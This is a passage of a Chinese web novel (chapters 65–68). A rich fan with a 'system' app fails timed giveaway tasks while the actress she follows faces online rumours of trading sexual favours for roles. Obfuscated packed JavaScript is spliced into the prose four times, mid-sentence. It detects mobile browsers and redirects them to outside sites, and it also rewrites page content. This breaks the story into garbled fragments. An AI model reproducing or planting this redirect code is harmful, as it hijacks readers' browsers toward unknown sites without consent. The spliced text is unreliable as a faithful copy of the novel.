别的人凌钰不太了解，反正届时聂嘉远正在拍的这部戏刚好杀青，而陈静思那边则会提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360880|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把她的戏份拍完，将时间也空出来。 按照她最开始的想法，这所谓拉近粉丝和偶像间距离的事她其实并不想参加，如果可以，她更想直接给对方一点投资，坐等回报就好。 毕竟距离产生美。 一个艺人，如果你太过熟悉，那他就变得会没有新鲜感没有吸引力，从而失去让人仰望的冲动。 但随着【识人】任务不断的发布，随着创业起步和对圈内项目的投资，当她也开始拥有话语权，凌钰逐渐意识到，如今的她追星早已和从前不同。 她需要的不再是仰望，而是观察、接触、监督、选择。 何况对方给的酬劳还不低，就当贴补日常开销了。 正想再搜搜其他几位嘉宾的情况，有凤娱乐的项目负责人已经先发来了微信。 “凌小姐您好，感谢您同意加盟《你好，我的粉丝朋友！》，本节目暂定录制时间为下个月2号，可能需要您提前一天达到现场做准备，我们需要做一个简单的前彩，以及各位可以先提前互相认识一下。” “您可以自备造型师，也可以用节目组提供的造型师。此外，正片录制时间为6天，住宿费、来回路费等相关费用均由节目组报销，您也可选择由节目组统一安排行程。” “每天的录制结束后您可以自由行动，不设限，但录制期间仅可使用节目组提供的手机及经费，如您有任何疑问，可以提前跟我沟通。” 因为是去A市，路程遥远要带的东西也很多，凌钰之前就和孙致容商量好了一起去，白天随她休息还是去景点，晚上有空说不定还能就近逛一逛。 而且录完节目后她们可能还要在A市考察一下当地的咖啡店经营，凌钰想了想，编辑文字发送。 “我这边还有个朋友一起，就不和节目组一起行动了，朋友的费用我自行承担，我这边的一切按照你们规定的费用标准来，后续开了票报销就好，造型师用你们的人。别的暂时没什么问题了。” 那边又确认了一下孙致容不会影响拍摄，很干脆地回了“OK”。 等凌钰终于把事情都定好再打开微博时，刚才还只是小范围讨论的话题已经瞬间空降热一。 可不得空降热一，这话题也实在吓人，连续好几个相关都是#肖雨婷去世#、#ily集体消失#、#李岑去哪儿了#、#李岑去世#…… 除了这些直接引爆网络，还有不少人化身福尔摩斯，又分析出更多令人意想不到的东西来。 【你们有没有发现，有些在埃尼时间短的人现在资源都很不错，反而是待得久的人不行。ily在埃尼几年了？这样的顶级女团居然去接冰雪乐园那种商演，那活动从前根本就没有一线明星参加！】 【确实，网上那些爆料埃尼黑产业链的账号都退圈了，而一直待在埃尼的，要不发展很差，要不就像ily这样拿着五千块的工资累死累活，现在人都没了……】 【楼上的意思，短时间待过又离开且还在圈子里的那些人接受潜规则了？】 【快去看热搜，有人爆陈静思的料了！！】 65.第 65 章 什么料？ 凌钰下意识返回主页，可从上到下扫了两遍热搜榜也没找到陈静思的名字，有些迷茫地重新进入刚才的广场，一堆乱七八糟的评论之后，底下倒是有人又讨论起来。 【埃尼居然这么夸张的吗？】 【救命！周菲儿，岳子萌，李毅，还有陈静思什么的……不都在埃尼待过一年半年的吗？所以这几个可能被潜规则之后拿到了资源，然后才离开的？】 【陈静思刚离开埃尼就进了腾飞，刚一进腾飞就做了主演。娱乐圈里有演技的可不是只有她一个，凭什么她突然就有了资源和机会？没人质疑她《宅院深深》里的演技，但她当年怎么接到这个角色的？有人知道吗？】 【刚才明明看到热搜的，突然没了，这是撤热搜了吧。】 【词条又在上升榜了，感觉那个爆料还挺真，不过也佩服那些拍照拍视频的，那么远都能认出谁是谁……】 凌钰正想往下翻页再看看究竟是什么情况，下一秒，沉寂了近两个月的【识人】app毫无预兆地疯狂跳出提示来。 【最新任务：本次解锁资金500000元（仅适用于正主2），请于30分钟内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后按照1:1比例扣除已拥有资金。】 凌钰先是愣了两秒。 等回过神时，第一反应是陈静思究竟怎么了？居然闹得这么大。 第二反应是，奇怪。 因为以她这段时间对【识人】的了解，系统每次发布的任务金额看着多，时间看着短，但总体而言还都是在合理范围内的。 整整五十万的消费，哪怕是放在聂嘉远身上，也通常会限时1-2个小时。 可现在面对陈静思这种代言大多比较平价，超话粉丝也不太活跃的人，却只给了她短短的三十分钟！为什么？ 但不管凌钰究竟有何疑虑，手机屏幕正上方的倒计时已经开始。 00:30:00 00:29:29 00:29:28 …… 这段时间，凌钰买了不少陈静思的代言，对她的商务自然也很了解。 除了即将官宣的LP黄金外，她的确没有什么太好的奢侈品合作，代言要不就是牛奶面包，要不就是饮料矿泉水，这些东西她开咖啡店进货零用倒是可以，买来凑满五十万在三十分钟之内抽奖送人？ 简直天方夜谭。 好在就在上个月，lec的护肤品也签了她做推广，明星同款也能计入销量。 打开官方旗舰店搜索陈静思的名字，又把价格按照从高到低排序，凌钰看了一圈，最上方的护肤品套盒标价两千，还有满减，但总归比那些吃吃喝喝的东西强太多了。 加入购物车，默默凑足任务所需金额，凌钰这才发现自己竟然买了270套。 进入超话编辑文案发帖的同时，凌钰忍不住在想，现在整个超话里的活人加起来都未必有270个。 好在护肤品这东西并不担心款式重复之类的问题，她可以稍稍缩减一下中奖人数，增加一下每个人的中奖数量。 时隔两个月，微博里终于又有了追星姐的身影。 【@我来追星了：#陈静思#cjs#陈静思新剧# 买了点lec的护肤品给大家抽奖，一共270套，每人5套，一共抽54个人，所有要求和之前一样，10分钟后开奖。@陈静思】 消息发出，她才终于有时间去看热搜。 难怪系统突然发布任务，此时此刻榜一的话题已经换成了#陈静思 潜规则#，再往下除了ily相关，一溜儿都是类似#陈静思 埃尼娱乐#、#腾飞娱乐#、#主演凭什么是你#和#埃尼短期艺人#的讨论。 热门微博是一条营销号爆料。 【@娱乐小子：#陈静思 潜规则#网友投稿，陈静思签约埃尼娱乐期间曾在《风月》剧组饰演镶边女配，有人在跟拍主演时拍到了以下一幕，爆料人声称，陈静思曾多次出入该剧出品方负责人所在酒店。 《风月》拍摄结束后，陈静思立刻与埃尼解约转投腾飞旗下，据传，《宅院深深》和《风月》同属一个出品公司——锦绣传媒。 都说陈静思是靠自己的努力获得了现在的成就，可明明在《风月》时还只是个名不见经传的小演员，到了《宅院深深》，主演凭什么突然就变成了你？真的只是因为演技好运气佳吗？ 这件事大家怎么看？】 下方配图是四张昏暗模糊的照片和两张截图。 第一张照片是在酒店门口，依稀能看到陈静思确实正拉着某位男士的胳膊，第二张是几人共同走进酒店，陈静思仍然拉着对方。 第三张照片是隔着玻璃窗拍到的，似乎是陈静思和那位男士进了同一个房间，但黑灯瞎火的，并不十分清楚。 第四张照片隔着略微透明的窗帘，能看到两个影子拥抱在一起。 虽然后面的截图确实证明了两部剧的确是同一个出品方，但看图说话的事显然不能让人完全信服，一时间争论不断。 【陈静思能有现在的咖位，那是她自己努力争取得来的！从《风月》里的镶边女配到《宅院深深》的大女主，那是她自己走出来的路，怎么就变成了潜规则得来的了？她要是真接受潜规则还需要拍那么多配角戏吗？】 【主演凭什么是陈静思？你说凭什么？没有陈静思的精彩演绎，你以为《宅院深深》会一直红到现在吗？】 【#主演凭什么是你#这个话题真是我今年见过最大的笑话。】 有人对此不屑一顾，但更多的则是愤慨。 【我说有些人对女性的恶意不要太大，是，圈子里有演技的人是多，不可能人人都能红，但这也不是你们给一个勤勤恳恳低调上进的女演员造黄谣的理由吧！那么多男演员也是突然做了主角，难道也都是被潜规则了？】 【轻轻松松一句话就抹杀了别人十几年的努力，别太过分。】 【静夜思们只是老了不是死了！陈静思是怎么一步步走到现在的，有谁不知道？一天天的胡说八道什么？造谣是犯法的好吗！】 在最初对演技和能力的反驳之后，静夜思们才又想起来针对爆料内容提出质疑。 【你说这是陈静思这就是陈静思？这照片糊得妈都不认识，别说你没有证据，就算外面站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367757|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这个是她，里面那个就也是她了？】 【疯了吧，陈静思怎么可能啊？而且这照片当时一起的还有别人，要这是真的，那和他们一起的演员肯定都知道了啊！】 作为从最底层一步步爬上来的演员，陈静思的确曾经换过好几家公司。 最开始是跟一些名不见经传的小作坊签临时协议，接着签过两个小的演员经纪，再之后在埃尼娱乐待了短暂的一年，就转到了另一家演员公司腾飞娱乐，最后才成立了自己的个人工作室。 《宅院深深》是在进了腾飞之后接的戏，可那时的陈静思已经跑了很多年的龙套演了很多戏的配角。 哪怕戏份不多，却因为精湛的表演给人留下的足够深刻的印象。 按照粉丝的意思，这样一个肯吃苦不多话，把演戏当作毕生事业时刻准备着去奋斗的人，早晚有一天是要做主角的。 当时的制片方慧眼识人，大约是因为看到了她在《风月》里的精彩表现，才破天荒地给了她一个机会。 而她也没有辜负所有人的期待。 可这次却有人直接点了她的名，甚至把照片摆了出来。哪怕粉丝再怎么否认，也不可能如之前那么轻易过去了。 【据不完全统计，自埃尼娱乐转签其他公司的艺人目前均在圈内各大领域获奖无数，特点是虽然商务资源一般，但影视剧资源绝佳，圈内咖位认可度很高。周菲儿，岳子萌，李毅，陈静思都是这种。】 【不对劲，以前陈静思塑造的不都是那种云淡风轻人淡如菊的人设吗？看这照片里这样子不像啊，穿得也和现在这种国泰民安的得体造型不一样。】 而且—— 【粉丝居然说这不是陈静思？路人看了都知道这肯定是陈静思。】 【看来国民度太高也不好，比如我给我妈看这照片，我妈就说这不陈静思吗？还问我她这是突然拍现代剧了，还是跟人结婚了……我去，这我哪知道？@陈静思，你说说呢！】 【旁边一起的那几个人是谁啊？有一个好像是《风月》的男主，张子扬吧？】 【那张子扬肯定知道吧？@张子扬@张子扬@张子扬】 【楼上的姐妹们真勇哈哈哈！】 乱七八糟的讨论中，也有人想到了陈静思才刚刚收获不久的氪金粉。 【我觉得这个瓜可能超级无敌大！如果真是这样，追星姐这次选人岂不是要翻车了？不过这次她虽然公布了第二位正主，却没花多少钱诶……】 【什么追星姐，什么内娱风向标，本来就是为了红想出来的人设吧？一个粉丝就能做风向标了？她连现在这位陈静思加起来一共粉了四个人，前面塌了两个，还都是那种“禁狱系艺人”，这一个感觉也快了，就这还风向标？】 【网友就会跟风追捧，林业、王晨之都塌了就是看不见，现在陈静思也摇摇欲坠，他们还天天跑去那个氪金粉底下拜啊求的，也不怕把自己正主也给拜进去。】 【要是陈静思也塌了，那是不是代表聂嘉远也未必会长久啊？】 等会儿。 凌钰看到这里，差点没忍住辱骂出声。 什么逻辑？！ 咱就事论事，不带这么乱诅咒人的！ 66.第 66 章 思路太过奇诡，以至于凌钰一时无语凝噎，都不知道该从哪里开始骂。 正打算反手一个举报，底下又有人惊讶。 【你们快去看看！那个氪金粉又给陈静思花钱了，五十万！】 陈静思的超话里难得热闹起来。 其实凌钰刚刚宣布这位正主2的时候，还是有不少人跟风关注了超话，甚至每天打卡的。 为的倒不是追星，而是这位追星姐每次抽奖的要求都是没黑过正主，超话等级也要够。只是随着一天接一天的打卡，预料之中的抽奖却一直没来，时间拖的越久，热情也都被拖没了。 等凌钰终于发了抽奖时，评论里只剩一片哀嚎。 【啊啊啊啊！我就知道！我就知道该我穷！】 【我坚持打卡了一周，实在坚持不下去了，而且我觉得就算抽奖，我这种运气估计也抽不中……但现在看到这个抽奖消息时我又后悔了！每人五套啊！54个人！怎么也该有我一个了！】 【为什么当时不坚持，能参与至少还有可能，参与不了可就是完全没可能了！】 【一个霹雳暴风旋转哭泣，我恨我自己！】 有人哀嚎，也有人猜测。 【所以追星姐也还是站静思姐的咯？我就说，陈静思怎么可能被潜规则？当时解约时就说了，是新公司看中她的潜力，后来《宅院深深》果然爆红，据说可赔了埃尼不少违约金的。】 【对啊，只看到短期出来的那几位艺人电视剧资源好，没看到人家的水平和能力摆在那吗？商业水平不好是为什么？还不是离开公司要交违约金，所以刚有点名气就什么广告都接，结果硬生生把商务整体水平也拉低了。】 【商务水平也没什么可嘲的吧？人家本来也不是靠这个红的，电视剧资源好就行了啊，演员最终不还是要靠演技的？】 【爆料的东西确实有点假，立场也站不住脚。要是背后真有人，那商务也应该很好才对吧？】 微博下的评论非常多，然而十分钟开奖时间到了之后，凌钰仔细一核对才发现，中奖人一共54个，竟然只有4个是符合要求的正经静夜思…… 屏幕上的倒计时仍在继续。 00:15:31 00:15:30 …… 不是。 有那么一瞬间，凌钰都在想要不干脆把剩下的所有套盒都当作一个奖品来抽好了，但她很快就又否决了这不太理智的念头。 作为护肤品界的新兴品牌，lec目前才刚刚摸到轻奢的门槛。 陈静思代言的这个系列并非其中的最高端，但这款礼盒的定价却不低，所以为了物有所值，里面包含的产品就很丰富。 水乳和面霜眼霜的正装各一瓶，容量巨大，另有每个品种的中样各两瓶，还加赠了无数小样和两盒同系列面膜。 按照凌钰原先的计划，每人五套如果每天涂，恐怕也得一两年才能用完。 而这种东西的保质期一般也就两年左右。 要是真的一人抽奖两百多套，那就实在太夸张了，别说中奖人会不会因为担心浪费而让她重新分配给其他同担，就是系统那边大约也会判定无效。 凌钰想了想，只好重新编辑文案又发了一回抽奖，取折中的方式将剩下的50个名额换成了25个，也就是每人能得10套，时间也再次缩短，换成了五分钟后开奖。 虽然东西也还是多，但至少比一次性送给某一个人要强多了。 消息发出，很快又有人评论。 【刚才居然这么多不符合条件的，给追星姐都整懵了，硬生生缩减人数了，不过总感觉静夜思们确实没什么人诶。本来人就不多，这会儿还都在外面跟人对线，估计都不知道超话抽奖了。】 【后悔，我现在就是一整个大后悔！】 【追星姐还真是铁了心维护陈静思，不过说真的，我也不觉得那个爆料是真的，模模糊糊的一个影子就说是陈静思，我还说是马静思王静思呢。现在有些营销号也是离谱，搞几个给他告服了就好了。】 【欺负对方网速慢吧？陈静思一直在拍戏，她那个工作室也是八百年不发东西，估计都不知道网上出事了。】 吃瓜网友的速度永远是最快的，最前排很快被他们占领，直到凌钰再次刷新主页，评论区才终于有了静夜思们的回复。 【来了，不过现在并不是很想参与这个抽奖。】 【有些人又知道静夜思多还是少了？抽奖什么的，静夜思知道也不一定会来参加，这款当时官宣，有需要的人大家就都买过了，反正我买了两套，感觉够用好久了，如果没买就是不需要，既然不需要，肯定也就不会来参加抽奖的。】 【很忙，勿cue，有这个时间抽奖不如来帮静思姐澄清谣言。】 【先声明一下不是来抽奖的，只是好奇问一句，为什么突然换成一人十套了？那刚刚那些得了五套的人岂不是会觉得不公平？而且只有五分钟的时间就要开奖，这究竟是想送还是不想送啊？】 自家粉圈抽奖，是福利，也是粉圈实力和正主商务价值的象征，凌钰还真是头一次遇到这种情况。 万万没想到，钱送不出去也就罢了，还引来越来越多的说教。 【说真的姐妹，不是打击你的积极性，这时候实在没必要搞这个抽奖，静思姐和静夜思们都不差这一点的，我们现在也没什么时间给你造势。】 【虽然你氪金确实很厉害，但静思姐从来靠的都是自己，演戏靠自己的努力做到主角，如今也不需要靠某一个氪金粉来证明自己的商业价值。你来，我们欢迎，可现在这么乱的情况下，我们还是希望能以静思姐为重。】 【我说话可能有点难听，但这时候还要来蹭静思姐热度的，我不是很懂，是聂嘉远还不够你蹭吗？】 回帖的几位账号倒是很符合抽奖的条件，但说出来的话别说凌钰了，就连围观网友都实在忍不住冷嘲热讽起来。 【我去，静夜思们原来都是这种调调？】 【人追星姐这时候搞抽奖，不也是为了支持陈静思吗？真金白银不是支持，你们在外面替陈静思说两句话就叫支持了？还不差这一点，还没时间替人家造势，追星姐需要你们造势？这明明是在给你们陈静思造势吧！】 【还替正主赶粉了，陈静思自己知道吗？】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378148|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【追星姐别追陈静思了，追我家正主吧！她们不要你是她们的事，我想要你这种同担！】 【我天，氪金粉都要被你们嫌弃也是绝了，什么时候了还在这人淡如菊，进了圈子不往上爬难道要走下坡路吗？看那个照片里陈静思拉着人家男人胳膊的劲儿，可不是你们表述的这样哦。】 【笑死，人淡如菊怎么每次活动都要坐第一排，人淡如菊怎么这么重视咖位？我记得你家这次在《后妃》不过是客串吧，结果活动还要坐苏心悦旁边。】 短短五分钟，抽奖没能成功，评论区已然吵成一团。 凌钰倒是还想着再抢救一下，但这次不过25个的名额，竟然又有20个不符合条件。 这还不是最崩溃的，最崩溃的是先前中奖的几人当中又有人发来了私信：“姐妹不好意思啊，我家里已经买了lec的面霜了，另外水乳什么的护肤品我一直用的其他牌子，要不你把中奖名额转给其他人吧，我就不要了。” “……” 什么玩意？ 系统整她，同担也整她。 倒计时越来越接近终点。 鲜红色的数字逐渐占据整个屏幕。 00:04:03 00:04:02 …… 凌钰一时间走投无路，只能重新编辑文案，顶着依旧无人参与的风险将中奖人数调整为10人，再次发送—— 然而这一回根本就没能等到有人评论，【识人】app就抢先跳出了提醒。 【宿主您好，检测到您违规抽奖，本次抽奖未能成功发送。】 【宿主您好，您的任务时间已不足2分钟，请您尽快完成任务！】 伴随着一条接一条的提示，整个手机就像是被天雷给劈到了一般不停地颤动，倒计时的数字越来越红，越来越亮，越来越大，最后几乎把其余所有的app都给遮住了。 00:01:43 00:01:42 …… 手忙脚乱的凌钰第一次遇到这种情况，先是极其紧张地重新点开微博企图编辑文案，又在屡次失败后终于将抽风了的手机直接扔到了一边。 不玩了，爱啥啥吧！ 事到如今，她只能庆幸于这只是一个临时任务，而不是涉及性命安全的正常任务，否则她在倒计时结束的那一刻就得不明不白地直接去见阎王了！ 睁开双眼的瞬间，【识人】app再次疯狂跳动起来。 【最新提醒：您本次的临时任务已失败，您将按照系统所发布金额1:1比例扣除已拥有资金共计500000元，谢谢！】 【最新提醒：为体现勤俭节约优良传统，本次利用解锁资金已购入但未能抽奖送出的物品将由系统操作，以宿主名义直接捐献给慈善机构，其余已抽奖送出物品由宿主负责送出。】 【最新提醒：您的已拥有资金成功扣除500000元，请您核查账户余额，祝您生活愉快！】 哈！ 我有什么好愉快的！ 看着银行账户跳出的扣款提醒，凌钰几乎是咬牙切齿地骂了一句，这才猛地坐起身来。 67.第 67 章 抽奖的事暂时告一段落，任务失败白白扣掉了她五十万，而她直到此刻才有空好好去看一眼微博上的最新消息。 热搜话题的变化不大，陈静思相关依旧在榜首。 但点进广场，热门话题就在刚刚又换了一条，仍旧是之前的营销号发文。 【娱乐小子：#陈静思 潜规则#接网友爆料第二弹，视频中几位演员为当天聚餐后回到酒店，能看到陈静思全程紧贴某位男士，并非粉丝所说的所谓抓拍。预告第三弹——靠得这么近的吃饭，难道是一种饭桌礼仪吗？】 下方配了几个短视频和照片。 视频中，一群人自远处走来，能清晰看到陈静思的脸，她身边的男士戴着帽子，两人全程亲昵。 这时候的陈静思还很年轻，扎着高高的马尾露出一张小巧又秀气的脸，走路姿势和动作都带着些许的俏皮，她时而搂着对方的胳膊轻摇，时而还会贴近对方的耳边说话。 而剩下的两张照片，一张是一群人聚餐时的场景，看上去陈静思正歪着脑袋靠在对方肩膀上。 另一张隔着玻璃，两人甚至疑似在接吻。 评论区顿时仿佛滚油炸开。 【我去！这是真的？】 【不是，为什么到现在还没有任何人回应啊？我的妈呀这营销号也是牛，居然还敢预告，也不怕得罪了人把号给炸了。】 【预告是在给对方机会吧？感觉他手上的料还有很多，甚至还有更劲爆的，就是看陈静思那边怎么说，愿不愿意花钱平事了。要是给的钱够，搞不好明天咱们再来看就是虚惊一场。】 【陈静思那个工作室，怎么可能给一个营销号钱？】 【这照片里两人就是在接吻吧？刚有人已经扒过了，当时《风月》拍摄期间这个剧组聚餐，参加的除了陈静思还有男主张子扬，几个副导演也在，锦绣传媒也有两个人，其中一个是女的，另一个是男的。】 【这男的谁啊？有人知道吗？】 吃瓜的人急得不行，静夜思们则气得话都说不利索了。 【究竟是谁对陈静思有这么大恶意？偷拍属于违法犯罪的好吗？偷拍了还要拿到网上来发来诋毁别人名声，一个好的演员却要遭受这种对待！你们究竟是怎么想的？】 【她是演员啊！又没人规定演员不能谈恋爱！如果她和对方真的有什么，就不能是正常恋爱，一定得是什么潜规则吗？】 【明明之前是针对埃尼娱乐的事，现在却都揪着静思姐不放，我现在都怀疑这个料是埃尼娱乐故意放出来转移视线的了。我们静思姐安安稳稳拍戏都要被拉出来躺枪，真是倒了大霉。】 【又用糊照造谣！那么远凭什么说他们是接吻啊？我真的服了！而且这边都乱成这样了，那边某位氪金粉还在超话搞什么抽奖，我都不懂究竟怎么想的。有这个钱为什么不联系营销号买料让人家别乱发啊！】 【内娱再这么下去真要完了。】 粉丝们不吭声还好，刚一回复，顿时引来更多嘲讽。 【拜托粉丝们搞搞清楚，那男的是锦绣传媒的副总，很早就结婚了！有儿有女的，你家跟有妇之夫谈恋爱，干什么？插足当第三者？】 【笑死，黑粉费尽心机，不如粉丝灵机一动，还谈恋爱哈哈哈哈！】 【不否认她是好演员，但好演员可不代表她就是好人哦。】 【静夜思们疯了吗？这是想让追星姐买料？你们想什么呢？与其想这些乱七八糟的，不如想想怎么不塌房吧，别好端端的把唯一一个氪金粉就弄没了。】 凌钰还没来得及再往下细看，下一秒，才刚刚安静了没多久的【识人】app突然再次弹出了消息来。 【最新提醒：本次解锁资金1000000元，请于30分钟内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后按照1:1比例扣除已拥有资金。】 多少？ 凌钰呆愣愣地看了半天才反应过来。 一百万！开什么阴间玩笑？ 系统怕不是疯了！ 五十万的东西尚且送不掉，现在竟然还给她来个一百万！ 虽说这两个数字加起来于如今她整体的资产相比的确九牛一毛，可那也是个很大的数字了！ 一百五十万，能买多少咖啡原材料？能订多少机票多少天房间？能让她和孙致容出门吃喝玩乐多久？ 凌钰倒是想再垂死挣扎一番，可上次的失败就在眼前，别说消费困难，就单纯抽奖送东西这件事，看静夜思们的态度也知道是不可能完成的了。 广场的对骂逐渐升级，双方的情绪都变得格外暴躁。 【什么第三者？你们又都知道了！包裹的那么严实都看得出来那是谁，你们都去当名侦探好了还当什么普通人？】 【静思姐是什么人我们粉丝自己清楚，要你们评价个屁，反正我是不信的。】 【陈静思本来就是大大咧咧的性格，看那个视频里，她中途也拉其他人胳膊了啊，怎么就断定她和这个男的有关系了？拉个人就是潜规则，你不拉人，你们这辈子都不拉人！拉了就是有一腿，就是潜规则！】 【网友真是闲的，我平时说话也喜欢肢体接触，这有什么的？】 【那位氪金粉这么牛，怎么在这种混乱的情况下突然搞了个抽奖又消失了？有钱不花在正道上，不懂这种炫富式的追星有何意义。某些路人也别替静夜思操心了，我们不缺人氪金，陈静思走到今天靠的也从来不是让粉丝花钱。】 【少把内娱流量粉的那套用在陈静思身上，静思姐是什么咖位？她粉陈静思不是因为陈静思本身优秀吗？怎么好像陈静思还要感恩戴德似的？】 粉丝们据理力争，但显然并不能说服汹涌而来的吃瓜网友们。 【我天，这第三者不是按照你们粉丝自己表述的内容总结出来的吗？不是你们粉丝说这是正常谈恋爱吗？怎么现在又是普通朋友了。】 【我和女性朋友可能会这样，但和异性……除非是暧昧或者有好感，要不就是在一起，否则不这样。如果你非要说你就这样，那我只能说绿茶婊、汉子婊，说的就是你这种人。】 【静夜思们不是人淡如菊的吗？这会儿怎么不如菊了？笑死，还正常肢体动作，你怎么不说是那男的喝多了走不稳道，陈静思特意帮忙搀扶的啊？】 【嘘——工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399029|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室到现在还没反应，估计就是不知道该找什么角度辟谣，你可别给她提供思路了，哈哈哈哈！】 【救命！又看不上追星姐了！马上追星姐真的脱粉他们就老实了。】 有王晨之的前鉴，再加上当前男艺人的塌房几率实在太高，凌钰那段时间是真的经过格外谨慎的研究后才在好几个女艺人中做了最终的选择。 她仔细了解过陈静思的生平，看过她出演的大多数电视剧，听过不少合作演员接受采访时对她的评价。 在同事们口中，说到她时最先提到的两个字都是“努力”，还有两个字则是“拼命”。 这个人低调谦逊，是个闷着头一心演戏的戏痴，比起营销自己，她更乐于潜心打磨演技，就像采访当中她自己曾说的：“对观众最好的回报，就是珍惜每一次机会，尽力把每一个角色拍到我当下能做到的最好。” 年终盛典的现场，她明明也是冲上台救人的一员，却并没有再拿这件事刻意宣传，甚至在之后的采访中偶被问及，也大多只用一句“本能”带过。 她是真正一步步从草根爬上来的人。 没有背景，没有资本，靠的是把每一次龙套都当成生命中最重要的角色，把每一个配角当成自己的主角，把所有的精力和时间都投入进角色本身。 在这样纷繁复杂，乱花渐欲迷人眼的娱乐圈，能做到出淤泥而不染，始终铭记初心，始终纯粹地为了梦想而战，走到今天的位置并不容易。 正主稳重，粉丝也同样理智镇定，佛系淡然。 当时的静夜思们，和疯魔癫狂的凉亭形成鲜明对比，也正因如此，才让凌钰在最后一刻下定决心。 然而此时此刻，这些原本的优点却都变成了致命的缺点。 凌钰怎么也没想到，网上已经闹成这样，正主却全无回应，粉丝虽然也在据理力争，可在某些方面却又镇定佛系到了这种程度，不仅不要钱，甚至还嫌撒钱的她俗气，玷污了静夜思的整体粉群。 遵从本心来讲，凌钰当然不希望，也不太相信陈静思会是靠潜规则上位的人，可内娱风气更正的变动却证明了埃尼娱乐确有古怪。 何况现在最最关键的已经不是正主会不会塌房了，而是谁也不知道那营销号还会有多少爆料。 任务一次接一次地失败，要是再来几回，那她有再多的钱恐怕也要被扣光了！ 屏幕上的倒计时仍在继续。 00:18:45 00:18:44 …… 凌钰又呆呆地盯着看了一会儿，这次连去买东西的欲望都没了，索性直接摆烂，选择放弃。 只是很古怪，从前每次限时都在一到两个小时的系统，却在陈静思的临时任务中每每用30分钟做限定，而伴随着微博上新的爆料，任务又会以成倍的金额为目标再次发布。 给人的感觉怎么说呢，好像事情真的很严重，也真的很急。 正主和粉圈十分清高，任务却如此紧急，二者形成了很大的割裂感。 不知道为什么，凌钰愣是因此生出一点不详的预感。 不行，不稳当。 跑。 得跑！必须得跑！ 68.第 68 章 别说陈静思很可能有问题，就算这人真是无辜青莲，她也绝对不追了。 整整一百五十万，难道还买不来她的清醒吗？ 这个念头只要一起，立刻就如同墨染清水般疯狂蔓延，将整个思绪的池塘瞬间浸染成同一种颜色。 凌钰打开主页就要编辑文案，然而还没来得及有任何动作，在这些流言蜚语上向来保持沉默的陈静思工作室却突然上线，更新了一条微博。 【@陈静思工作室：艺人当天和剧组同事聚餐，期间因同事饮酒后头晕才一直搀扶对方，没有潜规则、没有小三、没有接吻、没有恋爱。抱歉占用公共资源，这是本司第一次也是最后一次回应此事，后续不会再就此事发表任何说明。】 这倒让人着实有些意想不到。 要知道，自从陈静思成立了自己的个人工作室，这个官博就如同她本人一般，始终保持了作为一个演员既高产又内敛的特色。 对于无关紧要的争议，毫无头绪的谣传，他们通常都会选择直接无视，毕竟这些都不会真正影响到陈静思的事业发展。如今的陈静思，早已是公认的剧王，算是和在电影界拥有绝对地位的苏心悦平起平坐的。 吃瓜网友还没来得及回神，静夜思们先被气得够呛。 【网友们真是疯了，逼得陈静思工作室都出来发声明了，什么概念！】 【没有就是没有，静思姐就是硬气！不过虽然慕强批已经彻底舒服，但看到这条声明还是觉得心疼，我们什么时候遇到过这种事？毫无根据的东西却要劳动工作室出来发声明。】 【追星就得追静思姐这样的，从一无所有到电视剧全奖项，行得端坐得正，什么氪金粉，花了点钱就值得追捧了吗？这世界上有很多东西都是钱买不来的。】 【天天吹商务的那帮人难道不知道LP黄金就要官宣静思姐代言了吗？说不定就是因为这个商务才惹来某些人的恶意黑。】 【都说我们不澄清，现在澄清了满意了吧？只是单纯看到这条微博都觉得是辱陈静思了。】 粉丝们一边替正主委屈，一边更觉得不值，但网友们却并不这么认为。 【笑死，这叫澄清？也就静夜思会信吧，还对方喝多了头晕……你别说这句话还真有点眼熟。】 